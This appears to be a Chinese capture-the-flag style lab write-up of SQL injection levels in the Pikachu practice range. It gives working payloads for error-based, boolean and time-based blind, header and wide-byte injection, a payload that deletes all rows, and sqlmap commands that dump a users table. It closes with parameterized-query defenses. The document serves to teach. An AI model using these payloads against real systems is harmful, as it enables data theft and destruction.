皮卡丘靶场解题记录-SQL注入
皮卡丘靶场解题记录-SQL注入
数字型注入
1、漏洞原理总结:
sql语句给数据库下达指令,用户的恶意输入破坏原语句,被当成正常语句执行。
2、我的测试过程:
抓包,修改传参1为1 or 1=1
与原本的查询语句拼接起来即为:
1 | select username,email from member where id=1 or 1=1 |
因为 1=1 恒真,where id=1 or 1=1 相当于 where 恒真,全表返回

直接出结果
3、核心漏洞代码分析:
对输入没做处理,直接被拼写进查询语句里面
4、实战延伸:
字符型注入
1、漏洞原理总结:
数字型没引号直接拼;字符型有引号,要先闭合引号、再注入、最后用#注释掉尾部
2、我的测试过程:
出结果
3、核心漏洞代码分析:
同样没做变量处理,但是这里变量变成了字符,需要考虑闭合
1 | if(isset($_GET['submit']) && $_GET['name']!=null){ |
原本的sql语句为:
1 | select id,email from member where username='你的输入' |
输入:
1 | ' or 1=1 # |
拼接后的sql语句为:
1 | select id,email from member where username='' or 1=1 #' |
‘用于闭合引号
or 1=1恒真
最后的#用于将末尾的#注释掉
4、实战延伸:
可以输入框直接敲’ or 1=1 #
也可以用bp把参数改成name=’ or 1=1 #
注意:# 在URL里要写成 %23,Burp里直接改原始请求即可
其他等价写法:
1 | ' or '1'='1 |
注意:
1 | -- 也是注释符,但末尾要带个空格 |
搜索型注入
1、漏洞原理总结:
搜索型:username like '%___%',输入被 '% 和 %' 两层夹着(引号 + 通配符)。要注入,就得把 '% 这一层也一并合上。
2、我的测试过程:
注入
1 | ' or 1=1# |
3、核心漏洞代码分析:
1 | if(isset($_GET['submit']) && $_GET['name']!=null){ |
这里是搜索框
需要闭合的代码变成了
1 | select username,id,email from member where username like '%你的输入%' |
本关可用的payload
1 | %' or 1=1 # |
但是我实测的时候想到可以直接取巧,用%一个字符也可以直接搜出全部结果
4、实战延伸:
略
XX型注入
1、漏洞原理总结:
2、我的测试过程:
传入
1 | ') or 1=1 # |
3、核心漏洞代码分析:
原理和前面一样,区别只在于查询语句的不同
查询语句:
1 | select id,email from member where username=('你输入的内容') |
拼接后的结果:
1 | select id,email from member where username=('') or 1=1 #') |
同样是闭合前面的开头,中间恒真注入,注释掉末尾语句
SQL 注入的万能公式 = 制造闭合 + 注入逻辑 + 注释尾巴。xx 型就是多了个括号,闭合用 ')
4、实战延伸:
略
“insert/update”注入
1、漏洞原理总结:
- SELECT 注入 = 你”查“东西时注入,能直接看到结果。
- INSERT/UPDATE 注入 = 你”存/改“东西时注入,数据库不给你回显,那怎么偷数据?——让它”报错”,错误信息里会不小心把数据吐出来(比如数据库名)。
就像你去银行”存钱”(insert),柜员不会把你账户余额念给你听;但如果你填单子时故意写个会让系统崩溃的东西,系统报错的弹窗里可能把内部信息泄露出来。
2、我的测试过程:
3、核心漏洞代码分析:
注册页的注入:
1 | if(isset($_POST['submit'])){ |
sql语句为:
1 | insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}') |
这里需要用到报错来偷取信息
同样的思路,闭合前面,注入语句,闭合尾部
需要注意的一点是,因为此处使用的是INSERT语句,这个地方的尾部,不能用之前的#给注释掉,value后续的其他语法句子需要保留,否则整个语句会因为语法错误而无法正常执行。
所以需要用and ‘1之类的语句把后面的引号闭合了。
这里连接前后的词都要用and
涉及到一个基础的语法,就是,and要左右全真才为真,可以保证每段语句的执行
但是or,任意一个为真即为真,当左边为真时语句短路,右侧不会被计算,会导致注入语句不执行,所以报错注入用 and 搭配一个恒真的 1,逼 MySQL 去算 updatexml
报错注入的核心函数:
updatexml(目标xml, xpath路径, 新值)
作用:在”目标 XML”里,找到 xpath路径 指定的那个节点,把它替换成”新值”,然后返回修改后的 XML。
MySQL 执行 updatexml 时,会去解析第 2 个参数(XPath)。如果这个 XPath 不合法,MySQL 就报错,而且报错信息里会把传的那串非法 XPath 原样打印出来
这个非法的xpath替换成一种函数或语句,就可以在报错里得到我们想知道的信息,相当于一种另类的查询方法。
还有一个更简单的替代函数:
1 | extractvalue(1, concat(0x7e, database())) |
补充:这里的concat(0x7e, database())是一个拼接函数,将参数1和2拼接起来,因为如果原本的库名本身就是合法的XPath就不会报错反馈,所以加上一个0x7e,即~的16进制写法,保证它一定非法,一定报错。
此处可以用简单的语句直接获取数据库名等信息:
1 | 1' and extractvalue(1, concat(0x7e, database())) and '1 |
我另外构造了一个稍微复杂的语句来做练习,查询所有表名
1 | 1' and extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database()))) and '1 |
改资料页注入:
1 | if(isset($_POST['submit'])){ |
sql语句为:
1 | update member set sex='{$getdata['sex']}',phonenum='{$getdata['phonenum']}',address='{$getdata['add']}',email='{$getdata['email']}' where username='{$_SESSION['sqli']['username']}' |
和前面一种稍有区别,这里使用的update语句,没有列数必须匹配的问题,可以直接#注释末尾
1 | 1' and updatexml(1,concat(0x7e,database()),1) # |
拼接起来依旧是完整语句:
1 | update member set sex='1' and updatexml(1,concat(0x7e,database()),1) # |
4、实战延伸:
略
“delete”注入
1、漏洞原理总结:
前面是”查/存/改”时注入,这关是”删“时注入。
删除操作就像你给数据库下个”删掉 xx”的命令,删完就删完了,它不会把结果念给你听。所以你想偷数据(比如库名),就得让它”报错”,靠错误信息把数据喊出来。
2、我的测试过程:
3、核心漏洞代码分析:
1 | // if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){ |
这里可以进行报错注入也可以直接通过这个漏洞删除全部留言
get可以直接改url:
1 | http://101.43.30.86/pikachu/vul/sqli/sqli_del.php?id=1 and updatexml(1,concat(0x7e,database()),1) |
在bp改包有个需要注意的小点:
HTTP 请求第一行是有固定格式的
1 | GET /路径?id=值 HTTP/1.1 |
bp改id参数的时候需要把空格换成%20
括号 ()、逗号 , 一般不用编(在查询串里是合法的,大多服务器接受,但个别严格 WAF/框架可能敏感),真正致命的就是空格。
也可以用恒真语句给把留言全删了
1 | sqli_del.php?id=1 or 1=1 |
4、实战延伸:
“http header“注入
1、漏洞原理总结:
浏览器每次请求都会”自报家门“——User-Agent 头告诉服务器”我是 Chrome / Firefox”。
后端图省事,把这份”自报家门”原样存进数据库、没检查。于是把自己的 User-Agent 头改成一段 SQL 注入代码,它就傻乎乎地存进去、还执行了。
这个漏洞的本质也是信任了客户端可控的请求头。还是那句话,用户输入或可控的一切都不可信。
2、我的测试过程:
忘截图了这里,就是直接抓包改请求头为注入语句,比如
1 | User-Agent: 1' and updatexml(1,concat(0x7e,database()),1) and '1 |
3、核心漏洞代码分析:
1 | //直接获取前端过来的头信息,没人任何处理,留下安全隐患 |
类似前文的原理,此处略
4、实战延伸:
http header 注入 = 注入点不在表单,而在请求头(User-Agent/Accept/Referer 等);后端把 $_SERVER[‘HTTP_USER_AGENT’] 直接拼进 INSERT 没转义,用 Burp 改 User-Agent 头为 1’ and updatexml(1,concat(0x7e,database()),1) and ‘1 就能报错泄露库名。
实战常见的header注入点:
黑盒的时候找记录这些的功能:登录、注册、留言、评论、统计、后台日志,然后改请求头。看是否报错(报错注入)或页面响应变化(盲注)
实战里最该盯的是 X-Forwarded-For 这个头:
- 很多应用想拿”用户真实 IP”,会优先读
X-Forwarded-For(而不是REMOTE_ADDR)。 - 但
X-Forwarded-For是客户端随便填的(Burp 一改就行)。 - 应用拿到这个 IP 后,常常存数据库/日志,且经常忘了转义 → 注入。
所以实战测 header 注入,先试 X-Forwarded-For,再试 User-Agent、Referer。
盲注(base on boolian)
1、漏洞原理总结:
这一关是我们常说的布尔盲注。不会直接得到信息,靠反馈的真假判断。
2、我的测试过程:
这一步不太好截图,因为只根据真假判断。
分两步走,第一步判断布尔盲注是否存在,第二步,注入
比如,这里我们已知一个用户名admin
那么可以用以下payload判断布尔盲注的存在(漏洞代码见下文):
1 | admin' and 1=1 # → 显示信息(真) |
这一步不是为了查用户是否存在,而是为了验证and后半部分语句能否控制页面真假。前半部分为真,后半部分的真假就决定了整个页面的真假。
下一步就是注入,把后半部分语句修改我们想要猜测的内容。相当于一个游戏,一方不断提问,另一方只能用是/否来回答问题。
举个例子:假设我想知道数据库名的第一个字符
| 我问的问题(payload) | 页面反应 | 我推断出 |
|---|---|---|
... ascii(substr(database(),1,1))>100 # |
显示信息(真) | 首字符 ASCII > 100 |
... >110 # |
显示信息(真) | 首字符 ASCII > 110 |
... >115 # |
显示不存在(假) | 首字符 ASCII ≤ 115 |
... =112 # |
显示信息(真) | 首字符 ASCII = 112 = ‘p’ |
逐个尝试猜出。
像猜数字:对方不告诉你答案,你问”大于 50 吗?””大于 75 吗?”,它只回”是/否”,用二分法逐步逼近。
3、核心漏洞代码分析:
1 | if(isset($_GET['submit']) && $_GET['name']!=null){ |
4、实战延伸:
盲注(base ontime)
1、漏洞原理总结:
- 布尔盲注:数据库会”点头/摇头”(页面真假)。
- 时间盲注:数据库连点头摇头都不给你,但你每问一个问题,如果答案是”是”,它就卡顿 5 秒(
sleep)才回你;答案是”否”就秒回。
像用”测谎仪”:对方嘴上不说话,但反应时间暴露了答案——你想得越久,越说明我猜中了。
2、我的测试过程:
这里也不太好截图,但原理和布尔盲注类似。
分两步,第一步判断注入是否存在,第二步,注入。
判断这一步是相似的原理,只不过把and之后的部分换成了函数。
1 | admin' and sleep(5) # |
如果存在就让它休息5秒。结果因and之后的语句改变,说明存在盲注。
注入这一步就是用时间来猜数据了。用到以下两个函数。
| 函数 | 作用 |
|---|---|
sleep(n) |
让 MySQL 暂停 n 秒 |
if(条件, A, B) |
条件真执行 A,假执行 B |
1 | admin' and if(ascii(substr(database(),1,1))>100, sleep(5), 0) # |
猜对了睡5秒,猜错了不睡。
3、核心漏洞代码分析:
1 | if(isset($_GET['submit']) && $_GET['name']!=null){ |
4、实战延伸:
怎么观察延迟:
| 方式 | 操作 |
|---|---|
| 浏览器 F12 | 打开开发者工具 → Network,看请求的耗时(5 秒 = 真) |
| Burp Repeater | 看右下角响应时间 |
| sqlmap | 全自动跑(时间盲注太慢,实战必用工具) |
宽字节注入
1、漏洞原理总结:
mysqli_real_escape_string() 的本职工作是:把 '、"、\、NULL 等危险字符前面加反斜杠转义,用来防 SQL 注入。而宽字节注入,正是钻了 **mysqli_real_escape_string + GBK 编码** 的空子——它加的那个反斜杠 \(0x5C)会被 %df 前缀”吞”成一个汉字,转义就失效了。
2、我的测试过程:
用到的payload:
1 | %df' or 1=1 # |
GBK 是双字节编码(一个汉字占 2 字节),关键规则:
某些字节(0x81~0xFE)后面紧跟
\(0x5C)时,会被当成一个完整的 GBK 汉字。
详细过程如下:
1 | 输入: %df ' (字节:0xDF 0x27) |
简单来说就是,利用GBK的编码规则把经过处理函数转义而多出来的\给吞掉。
这里有一个小坑,注意:%df 必须用 Burp 发送原始字节 0xDF;直接在表单里敲 %df 会被浏览器当成普通文本(变成 %25df),就不对了。

成功拿到全部信息
3、核心漏洞代码分析:
1 | if(isset($_POST['submit']) && $_POST['name']!=null){ |
4、实战延伸:
章节答疑:
1、各类sql注入怎么书写防御代码?
有一个很关键的点,防御不要按”数字型/字符型/搜索型/xx型”去分别写,因为注入类型只是漏洞表现形式,真正的病根都是同一个——把用户输入拼进了 SQL。所以正确的防御是统一的。
正确做法是参数化查询(预处理语句)
1 | // 错误:拼接(就是各种注入的病根) |
SQL 的结构和数据彻底分开,传进来的 $name 永远是数据,不可能被当成代码执行——数字型、字符型、搜索型、insert/update/delete、盲注、宽字节,全部免疫。
并且,参数化查询是唯一彻底的防御,其余都是缓解或辅助。
其他手段:
| 手段 | 作用 | 局限 |
|---|---|---|
intval($id) 强转 |
数字型专用,非数字变 0 | 只防数字型 |
mysqli_real_escape_string |
转义引号 | 宽字节注入下会失效,不如参数化彻底 |
| 关闭报错显示 | 隐藏报错 | 只掩盖不防御,盲注照样打 |
| 数据库最小权限 | 限制危害 | 辅助,不是根治 |
2、搜索型的xss彩蛋
3、各类不同注入其实就是在开头闭合,中间恒真,尾部注释掉
4、实际过程中怎么判断闭合符号?
A、看报错,缺什么补什么
B、没有报错时,先判断数字型还是字符型
字符型按照顺序尝试:
1 | ' or 1=1 # → 闭合单引号 |
找到候选,用真假结果验证:
1 | 真:' and '1'='1 (闭合 ' 时) |
- 真 → 有结果,假 → 没结果 = 闭合正确,注入成立
- 两个都一样 = 闭合还不对,继续换字典。
5、在黑盒的情况下怎么知道背后的语句是什么样的?有的白盒能写的语句,黑盒未必写得出来?比如前面的复杂语句
黑盒看不到源代码,但能反推。黑盒靠【塞东西 + 看反应】反推结构,跟文件上传的探针法、越权的双账号法是一个思路。
| 方法 | 怎么做 | 能推出什么 |
|---|---|---|
| 看报错信息 | 塞 ' 触发报错,读 near '...' |
SQL 片段、闭合结构 |
| 闭合字符试探 | '、')、'))、" 逐个试,看报错/响应 |
变量被什么包着(引号/括号) |
| 真假/延时判断 | and 1=1 vs and 1=2,或 sleep() |
语法对不对、有没有注入 |
| union 探测 | order by N 猜列数、union select 试列类型 |
列数、可回显的列 |
白盒黑盒其实差的不多,只是黑盒需要先想办法探测结构。
| 维度 | 白盒 | 黑盒 |
|---|---|---|
| 能塞的 SQL | 任意 | 任意(一样) |
| 差别 | 知道表名/列名/列数,直接写 | 要先探测结构(猜列数、查 information_schema) |
| union 注入 | 直接写列数 | 多一步 order by 猜列数,但能做到 |
| 报错/盲注 | 直接写 | 完全一样(不依赖已知结构) |
注入的本质是往 SQL 里塞任意代码,这个能力黑盒白盒一模一样。白盒只是省了探测时间,黑盒多花点力气探测,最终都能写出语句。
6、sqlmap的使用:
| 参数 | 作用 |
|---|---|
--dbs |
列数据库 |
-D 库名 --tables |
列该库的表 |
-D 库名 -T 表名 --columns |
列该表的字段 |
-D 库名 -T 表名 --dump |
拖该表数据 |
--current-user |
当前数据库用户 |
--technique=E |
只试报错注入(最快,卡了就加这个) |
--flush-session |
清掉上次缓存重跑 |
1 | python "D:\tool\sqlmap\sqlmap.py" -u "http://101.43.30.86/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=1" -H "Authorization: Basic xxxx" --batch --dbs |
这里我给靶场加了验证的所以要多加一个请求头。
跑出数据库名

1 | python "D:\tool\sqlmap\sqlmap.py" -u "http://101.43.30.86/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=1" -H "Authorization: Basic xxxx" --batch -D pikachu --tables |
跑出数据库里的表名

1 | python "D:\tool\sqlmap\sqlmap.py" -u "http://101.43.30.86/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=1" -H "Authorization: Basic xxxx" --batch -D pikachu -T users --columns |
跑出表名对应的字段名

拉出全表数据
1 | python "D:\tool\sqlmap\sqlmap.py" -u "http://101.43.30.86/pikachu/vul/sqli/sqli_str.php?name=kobe&submit=1" -H "Authorization: Basic xxxx" --batch -D pikachu -T users --dump |
